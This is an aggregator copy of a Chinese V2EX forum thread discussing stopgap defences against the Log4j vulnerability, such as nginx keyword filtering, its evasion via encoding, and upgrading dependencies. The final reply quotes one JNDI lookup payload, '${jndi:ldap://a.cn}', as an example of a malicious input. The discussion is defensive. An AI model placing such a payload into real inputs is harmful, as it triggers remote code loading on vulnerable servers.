2

关于 log4j 的一种临时解决方案

 2 years ago
source link: https://www.v2ex.com/t/821897
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

V2EX  ›  Java

关于 log4j 的一种临时解决方案

  amrom · 20 小时 15 分钟前 · 1218 次点击

最近看到很多讨论 log4j 的那个 bug ,修复方案很多,但是基本都要动线上服务,我分享一种思路,大伙帮忙看下: 使用 nginx 来拦截指定关键字,不知道这样可行不

11 条回复    2021-12-14 11:27:33 +08:00

yanqiyu

yanqiyu      20 小时 12 分钟前

类似于 WAF ,应该好使,但是你怎么保证你的关键字拦截包含了所有情况?
比如某个后端程序会对请求里面的 base64 字段解码后写日志,这时候关键字不就不好使了

amrom

amrom      20 小时 11 分钟前

@yanqiyu nginx 拦截应该可以应对起码一半以上的情况,不能拦截文本中的内容,或者加密后的东西,只能当作一种临时方案,给后端服务留下时间修复

liuidetmks

liuidetmks      20 小时 10 分钟前

有时候,参数是加密的,或者参数是 base64 之后的 ,不同业务甚至叠加了各种 encode

zeni123

zeni123      17 小时 30 分钟前

还是得用 java instrumentation ,因为你不知道 你的包的依赖里面藏了一个 log4j

a398058068

a398058068      17 小时 27 分钟前

spring boot + lombok 用 @sl4j2 注解 ,切换上层日志框架 基本 0 成本

BeautifulSoap

BeautifulSoap      17 小时 25 分钟前

拦截不光要拦截 url 还得拦截 post/put 等的 payload
通过车 websocks 的话也要处理
还有上传的文件内容、文件名之类的

zeni123

zeni123      17 小时 19 分钟前

@BeautifulSoap 两个值加起来的这种已有可能成功吧 ,可以用特殊字符 log.info("value is {} and {}", var1,var2); 可能性太多了

podel

podel      17 小时 12 分钟前

有很多陈年老服务甚至都不维护了。一丁点配置改动都不敢动。
楼主应该说的这种情况。

xuanbg

xuanbg      16 小时 44 分钟前

拦截肯定不能完全拦住,那就等于没拦。

pom 文件里面指定一下版本再重新打包发布很难吗?

izoabr

izoabr      13 小时 17 分钟前

没用,都用 WAF 拦都抗不过一会儿一个变种 payload

dallaslu

dallaslu      45 分钟前

还有第三方接口的返回内容。比如微信昵称叫,支付宝商品名,都有可能是 ${jndi:ldap://a.cn}

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK